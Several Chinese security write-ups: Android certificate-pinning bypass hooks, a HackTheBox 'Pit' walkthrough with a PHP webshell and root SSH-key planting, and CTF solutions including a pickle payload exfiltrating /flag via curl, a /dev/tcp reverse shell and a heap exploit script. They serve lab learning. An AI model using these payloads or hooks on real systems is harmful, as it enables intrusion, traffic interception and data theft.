解决方案：可以使用一些第三方代理app（如Drony），通过使用vpn，来强制app的http协议走代理流量，从而实现抓包。但如果是需要翻墙的app，则该方法无效，因为翻墙本身需要海外vpn连接，无法再去使用这些代理软件来开启另一个vpn。
#### 情况2：抓包工具无法抓到https包，且app无法联网
原因：大部分是app有对服务器证书的校验，因为我们使用的是抓包工具自己的证书，所以app证书校验不过去，也就自然拒绝发送请求，在外界看来app就相当于一个断网的状态。
解决方案1：逆向app，找到发包接口，动态调试下断点来获取https请求和返回的数据
解决方案2：逆向app，找到证书校验的位置，通过hook的方式来过掉校验。
下面我总结了android常用的一些网络框架的过证书校验的方法：
HttpUrlConnection（较其他框架相比性能不高，使用的app较少)：
TrustManager[] trustAllCerts = new TrustManager[]{new X509TrustManager() {
public X509Certificate[] getAcceptedIssuers() {
return null;
}
//重写校验方法，直接返回null通过证书校验
public void checkClientTrusted(X509Certificate[] certs, String authType) {
}
public void checkServerTrusted(X509Certificate[] certs, String authType) {
}
}};
HostnameVerifier hv = new HostnameVerifier() {
@Override
public boolean verify(String s, SSLSession sslSession) {
//返回true，表示信任该主机名
return true;
}
};
SSLContext sc = SSLContext.getInstance("TLS");
sc.init(null, trustAllCerts, new SecureRandom());
SSLSocketFactory ssf=sc.getSocketFactory();
//hook证书校验
XposedHelpers.findAndHookMethod(HttpsURLConnection.Class, "setDefaultSSLSocketFactory",
SSLSocketFactory.class,
new XC_MethodHook() {
@Override
protected Object beforeHookedMethod(MethodHookParam param) throws Throwable {
param.args[0]=ssf;
}
});
//hook域名校验
XposedHelpers.findAndHookMethod(HttpsURLConnection.Class, "setDefaultHostnameVerifier",
HostnameVerifier.class,
new XC_MethodHook() {
@Override
protected Object beforeHookedMethod(MethodHookParam param) throws Throwable {
param.args[0]=hv;
}
});
okhttp3（大多数小众app使用的网络框架)：
TrustManager[] trustAllCerts = new TrustManager[]{new X509TrustManager() {
public X509Certificate[] getAcceptedIssuers() {
return null;
}
//重写校验方法，直接返回null通过证书校验
public void checkClientTrusted(X509Certificate[] certs, String authType) {
}
public void checkServerTrusted(X509Certificate[] certs, String authType) {
}
}};
HostnameVerifier hv = new HostnameVerifier() {
@Override
public boolean verify(String s, SSLSession sslSession) {
//返回true，表示信任该主机名
return true;
}
};
SSLContext sc = SSLContext.getInstance("TLS");
sc.init(null, trustAllCerts, new SecureRandom());
SSLSocketFactory ssf=sc.getSocketFactory();
//Hook
Class<?> okc_builder=XposedHelpers.findClass("okhttp3.OkHttpClient$Builder",classLoader);
Class<?> pinner=XposedHelpers.findClass("okhttp3.CertificatePinner",classLoader);
//hook证书校验
XposedHelpers.findAndHookMethod(okc_builder, "sslSocketFactory",SSLSocketFactory.class,
new XC_MethodHook() {
@Override
protected Object beforeHookedMethod(MethodHookParam param) throws Throwable {
param.args[0]=ssf;
}
});
//hook域名校验
XposedHelpers.findAndHookMethod(okc_builder, "hostnameVerifier",HostnameVerifier.class,
new XC_MethodHook() {
@Override
protected Object beforeHookedMethod(MethodHookParam param) throws Throwable {
param.args[0]=hv;
}
});
//hook证书锁定
XposedHelpers.findAndHookMethod(okc_builder, "certificatePinner",pinner,
new XC_MethodReplacement() {
@Override
protected Object replaceHookedMethod(MethodHookParam param) throws Throwable {
return param.thisObject;
}
});
Cronet:
网上关于这个框架的介绍比较少，但是有很多知名app使用了该框架，如今日头条，抖音，微博，youtube等等，官方文档（[https://developer.android.com/guide/topics/connectivity/cronet）](https://developer.android.com/guide/topics/connectivity/cronet%EF%BC%89)
cronet设置证书校验的方式：
CronetEngine.Builder builder = new CronetEngine.Builder(AppContext);
String hostname="xxx.com";
//服务器证书
Set<byte[]> pinsSha256=new HashSet<byte[]>();
//将信任的服务器证书的公钥导入
pinsSha256.add(publicKey1);
pinsSha256.add(publicKey2);
...
pinsSha256.add(publicKeyn);
//添加公钥验证，如果服务器的公钥证书不在pinsSha256集合中，则客户端拒绝连接该服务器
Builder.addPublicKeyPins(hostname,pinsSha256,includeSubdomains,expirationDate)
.enablePublicKeyPinningBypassForLocalTrustAnchors(false); //设置不允许绕过本地证书校验
CronetEngine cronetEngine = builder.build();
解决方案就是hook addPublicKeyPins方法直接让其返回原对象，跳过证书校验：
Class<?> okc_builder=XposedHelpers.findClass("org.chromium.net.CronetEngine$Builder",classLoader);
//hook证书锁定
XposedHelpers.findAndHookMethod(cronet_class, "addPublicKeyPins",
String.class, Set.class, boolean.class, Date.class,
new XC_MethodReplacement() {
@Override
protected Object replaceHookedMethod(MethodHookParam param) throws Throwable {
return param.thisObject;
}
});
//hook绕过证书校验返回true,允许绕过本地证书校验
XposedHelpers.findAndHookMethod(cronet_class,"enablePublicKeyPinningBypassForLocalTrustAnchors",boolean.class,new XC_MethodHook() {
@Override
protected Object beforeHookedMethod(MethodHookParam param) throws Throwable {
param.arg[0]=true;
}
});
遗憾的是，大多数app可能会对上述代码做混淆处理，所以对我们快速定位这些代码增加了难度，但依然可以通过参数来匹配这些地方，大多数android或java系统类参数是无法混淆的。网上有个plus版的JustTrustMe就是运用了这种方法来对抗代码混淆（[https://github.com/langgithub/JustTrustMePlus）](https://github.com/langgithub/JustTrustMePlus%EF%BC%89)
，大家可以使用一下。
情况三：可以抓到包，但app无法联网，请求包中没有有效数据返回
很可能的原因是服务器端有对app客户端的证书校验，所以app虽然可以发送请求，但是服务器因为验证客户端证书不通过，拒绝返回数据。
如soul这个app，其中有客户端，服务端双向验证，在通过服务器证书校验后用fidder抓包会出现如下提示，表示需要客户端证书来验证客户端身份：
解决方案：一般客户端的证书随app一起打包，如果没有对证书文件进行加密操作，可能存放的位置会在assets目录下，但也可能是加密的形式保存，但具体还是需要逆向分析app，找到设置证书的位置。
证书存放的格式有多种，详情可参考该篇文章：[https://www.cnblogs.com/xq1314/archive/2017/12/05/7987216.html，下面说说各个抓包工具如何导入证书](https://www.cnblogs.com/xq1314/archive/2017/12/05/7987216.html%EF%BC%8C%E4%B8%8B%E9%9D%A2%E8%AF%B4%E8%AF%B4%E5%90%84%E4%B8%AA%E6%8A%93%E5%8C%85%E5%B7%A5%E5%85%B7%E5%A6%82%E4%BD%95%E5%AF%BC%E5%85%A5%E8%AF%81%E4%B9%A6)
Fidder:
fidder只支持.cer格式证书，大部分apk中只存放了.p12格式的客户端证书，或是密钥和证书分开存储，这需要我们对证书格式进行转换，这里我们使用openssl：
# 将.p12证书转换成.pem格式
$ openssl pkcs12 -in client.p12 -out ClientCertificate.pem -nodes
Enter Import Password:
# 将.pem证书转换成.cer格式
$ openssl x509 -outform der -in ClientCertificate.pem -out ClientCertificate.cer
需要注意的是这里使用p12格式的证书是需要密码的，密码需要逆向app获取到。
生成.cer证书后，放入到fidder客户端证书指定路径（上图C:UsersFear1essDocumentsFiddler2ClientCertificate.cer），就可以愉快地抓包啦。。
Charles:
而charles是支持导入.p12格式的证书，所以就不用进行证书转换：
直接导入p12或pem证书即可。。导入p12证书时同样需要输入密钥，从app中逆向获取，之后就可以抓包了。 | 社区文章 |
# Hackthebox-Pit靶机渗透笔记
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 目标IP：10.10.10.241
>
> 本机IP：10.10.16.12
## 前言
本文主要想记录一下对HackTheBox靶机Pit的渗透过程，涉及以下知识点：
1.snmp和snmpwalk工具使用
2.CVE-2019-12744
3.利用本地环境写入authorized_keys文件实现ssh免密登录root
难度中上，文中如果表述或者操作有问题欢迎各位师傅指出
## 信息收集
**nmap**
开放了22、80、9090端口，还是从80端口开始看
访问`10.10.10.241:80`只是个Nginx服务器搭建成功界面，没有可以利用的点
再看下9090端口，nmap扫出来一个`Zeus-admin?`去google一下，没有文章写的很清楚。
查看源码发现了有用信息
9090端口装了Cockpit
> Linux Cockpit 是一个基于Web 界面的应用，它提供了对系统的图形化管理。 … 它是一个用户友好的基于web
> 的控制台，提供了一些非常简单的方法来管理Linux 系统—— 通过web。 你可以通过一个非常简单的web
> 来监控系统资源、添加或删除帐户、监控系统使用情况、关闭系统以及执行其他一些其他任务。
在[exp库](https://www.exploit-db.com/)上看看有没有Cockpit的漏洞exp可利用，但是在源码中没有找到关于Cockpit的版本信息 暂时放一放
还找到了域名 **dms-pit.htb** 和 **pit.htb** 加入到`/etc/hosts`里方便解析域名
尝试用 **[Gobuster](https://github.com/OJ/gobuster)** 工具进行目录扫描，没有有用的发现
gobuster dir -u http://dms-pit.htb/ -w /usr/share/wordlists/dirb/big.txt -t 200 --wildcard
做到这里我没思路了，nmap端口扫描的默认协议为TCP，实际上应该扫描一下UDP端口就有思路继续做下去了，还是经验不足吧
这里卡壳了去看了下官推给的提示
这个提示我自认为不是很明显，后来找了半天原来是snmpwalk的意思
>
> snmpwalk是SNMP的一个工具，它使用SNMP的GETNEXT请求查询指定OID（SNMP协议中的对象标识）入口的所有OID树信息，并显示给用户。通过snmpwalk也可以查看支持SNMP协议（可网管）的设备的一些其他信息，比如cisco交换机或路由器IP地址、内存使用率等，也可用来协助开发SNMP功能。
>
> 在日常监控中,经常会用到snmp服务,而snmpwalk命令则是采集系统各种信息最有效的方法。
**什么是snmp？**
> **SNMP** 是英文” **Simple Network Management Protocol** “的缩写，中文意思是”
> **简单网络管理协议** “。
> **SNMP是一种简单网络管理协议，它属于TCP/IP五层协议中的应用层协议，用于网络管理的协议。SNMP主要用于网络设备的管理。由于SNMP协议简单可靠
> ，受到了众多厂商的欢迎，成为了目前最为广泛的网管协议。**
>
> SNMP 和 UDP
>
> SNMP采用UDP协议在管理端和agent之间传输信息。 SNMP采用UDP
> 161端口接收和发送请求，162端口接收trap，执行SNMP的设备缺省都必须采用这些端口。SNMP消息全部通过UDP端口161接收，只有Trap信息采用UDP端口162。
那接下来我们应该就是通过snmpwalk得到某些信息继续做下去了
扫描发现161和162端口开放
通过[工具](https://github.com/dheiland-r7/snmp)从目标系统中提取SNMP数据
snmpbw.pl target community timeout threads
得到`10.10.10.241.snmp`文件，从中发现
> Linux版本：Linux pit.htb 4.18.0-240.22.1.el8_3.x86_64
>
> 很多目录
>
> username：michelle
搜一下seeddms，发现SeedDMS是个文档管理系统
访问`http://dms-pit.htb/seeddms51x/seeddms`
用`michelle`这个用户测试登录，简单测试了几个密码发现密码就是用户名，成功登录SeedDMS
其中发现了一个更新日志，管理员把SeedDMS的版本从5.1.10升级到了5.1.15，CHANGELOG中也显示最后的更新记录升级到了5.1.15版本，去[exp库](https://www.exploit-db.com/)看看有无可利用的漏洞
可能是官方设计的时候出了问题，整合目前可以得到的所有信息，这台机子的渗透已经做不下去了，如果真和更新日志里写的一样，5.1.15版本没有已知可用的exp。
看了几篇国外大佬的博客，做到这普遍存在一个疑问就是：日志中明确写到5.1.11版本修复了
CVE-2019-12744，为什么这里CVE-2019-12744的exp还是可以利用?
没办法，就当5.1.10版本继续做下去
## 漏洞利用
用CVE-2019-12744的exp可以实现 **远程命令执行**
**参链** ：<https://www.exploit-db.com/exploits/47022>
SeedDMS中进入 **michelle** 用户目录下添加`1.php`文档并上传本地的`backdoor.php`,内容如下
//backdoor.php
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
添加成功以后，看一下`1.php`的文档id(URL中可一看到document_id=xxx)，接下来可以通过cmd传参执行远程命令了
http://dms-pit.htb/seeddms51x/data/1048576/30/1.php?cmd=
#我的1.php文档ID是30
#这里的“data”和“1048576”是保存上传文件的默认文件夹。
查看下`/etc/passwd`
浏览目录文件在`/var/www/html/seeddms51x/conf`目录下发现了配置文件`settings.xml`
http://dms-pit.htb/seeddms51x/data/1048576/30/1.php?cmd=ls /var/www/html/seeddms51x/conf
**settings.xml**
<pre><?xml version="1.0" encoding="UTF-8"?>
<configuration>
<site>
<!-- siteName: Name of site used in the page titles. Default: SeedDMS
- footNote: Message to display at the bottom of every page
- printDisclaimer: if true the disclaimer message the lang.inc files will be print on the bottom of the page
- language: default language (name of a subfolder in folder "languages")
- theme: default style (name of a subfolder in folder "styles")
-->
<display siteName="SeedDMS" footNote="SeedDMS free document management system - www.seeddms.org" printDisclaimer="true" language="en_GB" theme="bootstrap" previewWidthList="40" previewWidthDetail="100" availablelanguages="" showFullPreview="false" convertToPdf="false" previewWidthMenuList="40" previewWidthDropFolderList="100" maxItemsPerPage="0" incItemsPerPage="0">
</display>
<!-- strictFormCheck: Strict form checking. If set to true, then all fields in the form will be checked for a value. If set to false, then (most) comments and keyword fields become optional. Comments are always required when submitting a review or overriding document status.
- viewOnlineFileTypes: files with one of the following endings can be viewed online (USE ONLY LOWER CASE CHARACTERS)
- enableConverting: enable/disable converting of files
- enableEmail: enable/disable automatic email notification
- enableUsersView: enable/disable group and user view for all users
- enableFullSearch: false to don't use fulltext search
- enableLanguageSelector: false to don't show the language selector after login
- enableClipboard: false to hide the clipboard
- enableFolderTree: false to don't show the folder tree
- expandFolderTree: 0 to start with tree hidden
- 1 to start with tree shown and first level expanded
- 2 to start with tree shown fully expanded
- stopWordsFile: path to stop word file for indexer
- sortUsersInList: how to sort users in lists ('fullname' or '' (default))
-->
<edition strictFormCheck="false" viewOnlineFileTypes=".txt;.text;.html;.htm;.xml;.pdf;.gif;.png;.jpg;.jpeg" enableConverting="true" enableEmail="true" enableUsersView="true" enableFullSearch="true" enableClipboard="false" enableFolderTree="true" expandFolderTree="1" enableLanguageSelector="true" stopWordsFile="" sortUsersInList="" enableDropUpload="false" enableRecursiveCount="false" maxRecursiveCount="0" enableThemeSelector="false" fullSearchEngine="sqlitefts" sortFoldersDefault="u" editOnlineFileTypes="" enableMenuTasks="false" enableHelp="false" defaultSearchMethod="database" libraryFolder="0" maxSizeForFullText="0" showSingleSearchHit="false" enableSessionList="false" enableDropFolderList="false" enableMultiUpload="false" defaultDocPosition="end">
</edition>
<!-- enableCalendar: enable/disable calendar
- calendarDefaultView: calendar default view ("w" for week,"m" for month,"y" for year)
- firstDayOfWeek: first day of the week (0=sunday, 6=saturday)
-->
<calendar enableCalendar="true" calendarDefaultView="y" firstDayOfWeek="0">
</calendar>
<webdav enableWebdavReplaceDoc="true"/></site>
<system>
<!-- rootDir: Path to where SeedDMS is located
- httpRoot: The relative path in the URL, after the domain part. Do not include the
- http:// prefix or the web host name. e.g. If the full URL is
- http://www.example.com/seeddms/, set $_httpRoot = "/seeddms/".
- If the URL is http://www.example.com/, set $_httpRoot = "/".
- contentDir: Where the uploaded files are stored (best to choose a directory that
- is not accessible through your web-server)
- stagingDir: Where partial file uploads are saved
- luceneDir: Where the lucene fulltext index iѕ saved
- logFileEnable: set false to disable log system
- logFileRotation: the log file rotation (h=hourly, d=daily, m=monthly)
- enableLargeFileUpload: support for jumploader
- partitionsize: size of chunk uploaded by jumploader
- dropFolderDir: where files for document upload are located
- cacheDir: where the preview images are saved
-->
<server rootDir="/var/www/html/seeddms51x/seeddms/" httpRoot="/seeddms51x/seeddms/" contentDir="/var/www/html/seeddms51x/data/" stagingDir="/var/www/html/seeddms51x/data/staging/" luceneDir="/var/www/html/seeddms51x/data/lucene/" logFileEnable="true" logFileRotation="d" enableLargeFileUpload="false" partitionSize="2000000" cacheDir="/var/www/html/seeddms51x/data/cache/" dropFolderDir="" backupDir="" repositoryUrl="" maxUploadSize="" enableXsendfile="false">
</server>
<!-- enableGuestLogin: If you want anybody to login as guest, set the following line to true
- note: guest login should be used only in a trusted environment
- enablePasswordForgotten: Allow users to reset their password
- restricted: Restricted access: only allow users to log in if they have an entry in the local database (irrespective of successful authentication with LDAP).
- enableUserImage: enable users images
- disableSelfEdit: if true user cannot edit his own profile
- passwordStrength: minimum strength of password, set to 0 to disable
- passwordExpiration: number of days after password expires
- passwordHistory: number of remembered passwords
- passwordStrengthAlgorithm: algorithm used to calculate password strenght (simple or advanced)
- encryptionKey: arbitrary string used for creating identifiers
-->
<authentication enableGuestLogin="false" enablePasswordForgotten="false" restricted="true" enableUserImage="false" disableSelfEdit="false" passwordStrength="0" passwordStrengthAlgorithm="simple" passwordExpiration="10" passwordHistory="0" loginFailure="0" autoLoginUser="0" quota="0" undelUserIds="" encryptionKey="cfecb42d13f2e1666cddde56991a2cbf" cookieLifetime="0" enableGuestAutoLogin="false" defaultAccessDocs="0">
<connectors>
<!-- ***** CONNECTOR LDAP *****
- enable: enable/disable connector
- type: type of connector ldap / AD
- host: hostname of the authentification server
- URIs are supported, e.g.: ldaps://ldap.host.com
- port: port of the authentification server
- baseDN: top level of the LDAP directory tree
-->
<connector enable="false" type="ldap" host="ldaps://ldap.host.com" port="389" baseDN="" bindDN="" bindPw="">
</connector>
<!-- ***** CONNECTOR Microsoft Active Directory *****
- enable: enable/disable connector
- type: type of connector ldap / AD
- host: hostname of the authentification server
- port: port of the authentification server
- baseDN: top level of the LDAP directory tree
- accountDomainName: sample: example.com
-->
<connector enable="false" type="AD" host="ldap.example.com" port="389" baseDN="" accountDomainName="example.com" bindDN="" bindPw="">
</connector>
</connectors>
</authentication>
<!-- - dbDriver: DB-Driver used by adodb (see adodb-readme)
- dbHostname: DB-Server
- dbDatabase: database where the tables for seeddms are stored (optional - see adodb-readme)
- dbUser: username for database-access
- dbPass: password for database-access
-->
<database dbDriver="mysql" dbHostname="localhost" dbDatabase="seeddms" dbUser="seeddms" dbPass="ied^ieY6xoquu" doNotCheckVersion="false">
</database>
<!-- smtpServer: SMTP Server hostname
- smtpPort: SMTP Server port
- smtpSendFrom: Send from
-->
<smtp smtpServer="localhost" smtpPort="25" smtpSendFrom="seeddms@localhost" smtpUser="" smtpPassword=""/>
</system>
<advanced>
<!-- siteDefaultPage: Default page on login. Defaults to out/out.ViewFolder.php
- rootFolderID: ID of root-folder (mostly no need to change)
- titleDisplayHack: Workaround for page titles that go over more than 2 lines.
-->
<display siteDefaultPage="" rootFolderID="1" titleDisplayHack="true" showMissingTranslations="false">
</display>
<!-- guestID: ID of guest-user used when logged in as guest (mostly no need to change)
- adminIP: if enabled admin can login only by specified IP addres, leave empty to avoid the control
- NOTE: works only with local autentication (no LDAP)
-->
<authentication guestID="2" adminIP="">
</authentication>
<!-- enableAdminRevApp: false to don't list administrator as reviewer/approver
- versioningFileName: the name of the versioning info file created by the backup tool
- workflowMode: 'traditional' or 'advanced'
- enableVersionDeletion: allow to delete versions after approval
- enableVersionModification: allow to modify versions after approval
- enableDuplicateDocNames: allow duplicate names in a folder
-->
<edition enableAdminRevApp="false" versioningFileName="versioning_info.txt" workflowMode="traditional" enableVersionDeletion="true" enableVersionModification="true" enableDuplicateDocNames="true" enableOwnerRevApp="false" enableSelfRevApp="false" presetExpirationDate="" overrideMimeType="false" initialDocumentStatus="0" enableAcknowledgeWorkflow="" enableRevisionWorkflow="" advancedAcl="false" enableUpdateRevApp="false" removeFromDropFolder="false" allowReviewerOnly="false">
</edition>
<!-- enableNotificationAppRev: true to send notifation if a user is added as a reviewer or approver
-->
<notification enableNotificationAppRev="true" enableOwnerNotification="false" enableNotificationWorkflow="false">
</notification>
<!-- coreDir: Path to SeedDMS_Core (optional)
- luceneClassDir: Path to SeedDMS_Lucene (optional)
- contentOffsetDir: To work around limitations in the underlying file system, a new
- directory structure has been devised that exists within the content
- directory ($_contentDir). This requires a base directory from which
- to begin. Usually leave this to the default setting, 1048576, but can
- be any number or string that does not already exist within $_contentDir.
- maxDirID: Maximum number of sub-directories per parent directory. Default: 0, use 31998 (maximum number of dirs in ext3) for a multi level content directory.
- updateNotifyTime: users are notified about document-changes that took place within the last "updateNotifyTime" seconds
- extraPath: Path to addtional software. This is the directory containing additional software like the adodb directory, or the pear Log package. This path will be added to the php include path
-->
<server coreDir="" luceneClassDir="" contentOffsetDir="1048576" maxDirID="0" updateNotifyTime="86400" extraPath="/var/www/html/seeddms51x/pear/" maxExecutionTime="30" cmdTimeout="10">
</server>
<converters target="fulltext">
<converter mimeType="application/pdf">pdftotext -nopgbrk %s - | sed -e 's/ [a-zA-Z0-9.]\{1\} / /g' -e 's/[0-9.]//g'</converter>
<converter mimeType="application/msword">catdoc %s</converter>
<converter mimeType="application/vnd.ms-excel">ssconvert -T Gnumeric_stf:stf_csv -S %s fd://1</converter>
<converter mimeType="audio/mp3">id3 -l -R %s | egrep '(Title|Artist|Album)' | sed 's/^[^:]*: //g'</converter>
<converter mimeType="audio/mpeg">id3 -l -R %s | egrep '(Title|Artist|Album)' | sed 's/^[^:]*: //g'</converter>
<converter mimeType="text/plain">cat %s</converter>
</converters>
</advanced>
<extensions><extension name="example"/></extensions></configuration>
</pre>
其中发现了数据库的账号密码
<database dbDriver="mysql" dbHostname="localhost" dbDatabase="seeddms" dbUser="seeddms" dbPass="ied^ieY6xoquu" doNotCheckVersion="false">
但是`/etc/passwd`中mysql为`/sbin/nologin`，解释如下：
>
> If the file /etc/nologin exists and is readable, login(1) will allow
> access only to root.
> Other users will be shown the contents of this file and their logins
> will be refused.
> This provides a simple way of temporarily disabling all unprivileged
> logins.
>
就是禁止以账户的的方式登录，通常由许多需要账户但不想通过授予登陆访问权限而造成安全问题的系统服务器使用，那这里没法通过 **远程命令执行**
用数据库账号密码来查询数据了
上面我们已经知道9090端口可以登录Cockpit，且 **root** 和 **michelle**
两个用户使用`/bin/bash`，结合Cockpit控制台的作用，我们尝试用`username:michelle/password:ied^ieY6xoquu`登录cockpit，成功登录！
在 **Accounts** 中，发现确实存在 **root** 和 **michelle** 两个用户
用Cockpit自带的终端找到user.txt
## 提权
先用`sudo -l`列出目前用户可执行与无法执行的指令，发现 **michelle** 用户不能执行`sudo`命令，另寻他法
回到snmp文件，发现`/usr/bin/monitor`,monitor是一个文件，用`cat`命令看看写了啥
进入`/usr/local/monitoring`目录，可以看但我们只有`wx`权限。向目录写入一个脚本文件，`cat`以后成功输出了
结合在 **Accounts** 中的发现，我们可以向`/root/.ssh`写入一个密钥来绕过SSH密码登录root账户
在本地生成一对密钥，会产生 **xxx.pub** 和 **xxx** 两个文件
写一个shell脚本来写入我们的密钥
在本地一起个web服务`python -m http.server
80`，并在Cockpit终端中用`curl`命令来获取本地的shell脚本，用`cat`执行脚本
用snmpwalk加载所有内容
snmpwalk -m +MY-MIB -v2c -c public 10.10.10.241 nsExtendObjects
#-m MIB[:...] load given list of MIBs (ALL loads everything)
接下来就可以用配对的密钥SSH连接root了，得到root.txt
写入密钥并连接的操作需要连贯的完成，因为目标Linux会定时删除`/monitoring`目录下的文件
**注意！！运行snmpwalk前需要安装配置好snmp**
apt-get install snmp
cpan -i NetAddr::IP
apt-get install snmp-mibs-downloader
sudo download-mibs
## 写在最后
总的做下来是学到了新知识的，以后信息收集的时候也会注意更多小细节
在SeedDMS版本漏洞利用的点上是官方设计的问题，有文章没解释就说这里应该用 **CVE-2019-12744的漏洞**
我觉得这是非常不负责任的一件事情，我们应该抱着质疑的态度而不是文章怎么写就照着做
## 参考链接
<https://www.poftut.com/snmpwalk-command-line-examples/>
<https://blog.csdn.net/dongwuming/article/details/9705595> | 社区文章 |
# 第四届“强网”拟态防御国际精英挑战赛web的wp
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## web
### **zerocalc**
readFile函数可以任意文件读取！
`readFile('./src/index.js')`读出源码后：
notevil是最新的版本！正当我头脑风暴的时候！
`readFile('../../../../../../flag')` 可以直接读出`flag`
### **new_hospital**
这题打开是一个正常的网站！
测试了网站功能时发现`feature.php` 好像存在任意文件读取！
API的值是文件名base64加密后的值！
id控制读取的文件名。但是限制了文件后缀只能是js文件！
扫描网站目录！
发现old目录！因为旧网站地址！
测试发现old下的`feature.php` 可以通过API参数任意文件读取！
`/etc/passwd` base64加密后：`L2V0Yy9wYXNzd2Q=`
读flag
`/var/www/html/flag.php` base64加密：`L3Zhci93d3cvaHRtbC9mbGFnLnBocA==`
### **ezPickle**
分析源码：
发现有个后门！
notadmin={"admin":"no"}
def backdoor(cmd):
if notadmin["admin"]=="yes":
s=''.join(cmd)
eval(s)
并且：反序列化的内容进行了一个过滤。限定了只能反序列化`config`类，而且调用的方法或属性中不能含有`__`
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in ['config'] and "__" not in name:
return getattr(sys.modules[module], name)
raise pickle.UnpicklingError("'%s.%s' not allowed" % (module, name))
思路就是：为了利用这个后门，我们得把`config.notadmin`的值改为`{"admin":"yes"}`
利用工具生成恶意序列化字符串。
**exp.py**
notadmin = GLOBAL('config', 'notadmin')
notadmin['admin'] = 'yes'
config_backdoor = GLOBAL('config', 'backdoor')
config_backdoor(["__import__('os').popen('curl 0.0.0.0:1?i=`cat /flag|base64`').read()"])
return
**payload:**
b"cconfig\nnotadmin\np0\n0g0\nS'admin'\nS'yes'\nscconfig\nbackdoor\np2\n0g2\n((S'__import__(\\'os\\').popen(\\'curl 0.0.0.0:1?i=`cat /flag|base64`\\').read()'\nltR."
把base64加密后的payload传入name参数：
Y2NvbmZpZwpub3RhZG1pbgpwMAowZzAKUydhZG1pbicKUyd5ZXMnCnNjY29uZmlnCmJhY2tkb29yCnAyCjBnMgooKFMnX19pbXBvcnRfXyhcJ29zXCcpLnBvcGVuKFwnY3VybCAwLjAuMC4wOjE/aT1gY2F0IC9mbGFnfGJhc2U2NGBcJykucmVhZCgpJwpsdFIu
获取flag:
### **EasyFilter**
题目源码：
<?php
ini_set("open_basedir","./");
if(!isset($_GET['action'])){
highlight_file(__FILE__);
die();
}
if($_GET['action'] == 'w'){
@mkdir("./files/");
$content = $_GET['c'];
$file = bin2hex(random_bytes(5));
file_put_contents("./files/".$file,base64_encode($content));
echo "./files/".$file;
}elseif($_GET['action'] == 'r'){
$r = $_GET['r'];
$file = "./files/".$r;
include("php://filter/resource=$file");
}
有个写文件 和包含文件的功能！
经过测试发现： 它好像缺少过滤器：
构造payload: 我们给他加一个过滤器
?action=w&c=<?=phpinfo();
?action=r&r=/convert.base64-decode/../5f72d0bd55
可以成功包含：
读取flag:
payload:
?action=w&c=<?=`cat /flag`;
?action=r&r=/convert.base64-decode/../2f5a44c406
### **Jack-Shiro**
下载pom.xml后：
有shiro1.5.1，cc3.2.1
思路就是：shiro验证绕过访问路由通过jackson反序列化打cc链
发现有json路由需要登陆通过`/;/json`绕过
直接上工具ysomap用cc8去打
payload:
use exploit LDAPLocalChainListener
set lport 8996
use payload CommonsCollections8
use bullet TransformerBullet
set version 3
set args 'bash -i >& /dev/tcp/ip/8866 0>&1'
run
### **Give_me_your_0day**
看源码是Typecho
上网查质料就只要一个Typecho反序列化漏洞！
由于题目环境的原因：`config.inc.php` 文件是无法创建的！
代码审计：
看`install.php`
就发现一处包含点！
我们可以通过控制config参数和adapter参数来控制 变量`$type`。 就可以任意文件包含（但是限制文件后缀是php）！
那现在思路很明确了！
就找一个可以利用的php文件就行了！
查阅质料发现：可以包含php环境自带的pearcmd文件
然后通过`pear install -R /tmp http://127.0.0.1:8080/1.php` 命令下载恶意文件到服务器，实现RCE！
### 测试
1 在服务器上使用python一句话开启http服务器:`python -m SimpleHTTPServer 8080`
2 通过`pear install -R /var/www/html http://0.0.0.0:8080/1.php`
命令下载恶意文件到服务器，实现RCE！
3 读取FLAG
## 总结：
和师傅们一起玩的很开心！有大师傅MoonBack带带，玩的很开心！😀😀😀 | 社区文章 |
# MAR DASCTF明御攻防赛 PWN、RE Writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
比赛最后拿到了第二名（密码👴带我飞），作为队伍中的PWN & RE选手，赛后复现了一下全部RE题目和两题PWN。
## PWN部分
### fruitpie
程序代码非常简单，申请一个任意size的堆块，然后告诉你堆块的地址，并且让你在堆块附近写入10字节的。
**解题思路**
**1.MMAP申请堆块**
我们知道当我们malloc一个大的堆块（0x200000）时就会使用mmap来分配堆块，此时堆地址紧挨libc，我们可以根据输出的堆块地址，来计算出libc的基址。
**2.Offset向前溢出**
程序没有对我们输入的offset做检测，所以我们可以利用这个offset对堆块附近的地址来写入内容。
**3.打__malloc_hook**
由于题目提供了libc文件，并且在程序结束位置调用了malloc函数，所以我们可以直接打malloc_hook，但实际上发现所有的one_gadget都无法成功打通。因此题目也给了10字节的权限，为的就是让你通过
**malloc_hook附近的** realloc_hook来调整栈帧。
**4.__realloc_hook调整栈帧**
我们知道在realloc函数的开头存在着非常多的push指令，我们可以借助这些指令来调整栈帧，并且这些指令都不会影响到之后调用__realloc_hook
所以我们可以在 **realloc_hook的地址写入one_gadget的地址，在** malloc_hook的地址写入realloc +
x来调整栈帧，在这道题中x的取值可以有2, 4, 6, 8, 9。
PS：这道题直接用realloc符号找到的地址似乎不正确，要用__libc_realloc来定位地址。
**EXP**
from pwn import *
context.log_level = "debug"
#r = process('./fruitpie')
r = remote('54f57bff-61b7-47cf-a0ff-f23c4dc7756a.machine.dasctf.com', 50102)
def debug(addr = 0, PIE = True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(r.pid)).readlines()[1], 16)
print ("breakpoint_addr --> " + hex(text_base + addr))
gdb.attach(r, 'b *{}'.format(hex(text_base + addr)))
else:
gdb.attach(r, "b *{}".format(hex(addr)))
r.sendlineafter("Enter the size to malloc:", str(0x100000))
r.recvuntil('0x')
mmap_addr = int(r.recvuntil('\n', drop=True), 16)
libc_base = mmap_addr - 0x515010
one = [0x4f365, 0x4f3c2, 0x10a45c]
log.success("libc_base: " + hex(libc_base))
realloc_hook_addr = libc_base + 0x3ebc28
realloc_addr = libc_base + 0x98ca0
offset = realloc_hook_addr - mmap_addr
r.sendlineafter("Offset:", hex(offset))
# gdb.attach(r, "b __libc_realloc")
r.sendafter("Data:", p64(libc_base + one[2]) + p64(realloc_addr + 2))
r.interactive()
### clown
libc2.32菜单堆题，拥有add，show，delete三种操作，在add中可以edit堆块内容。
开了沙箱，需要用orw
### 程序分析
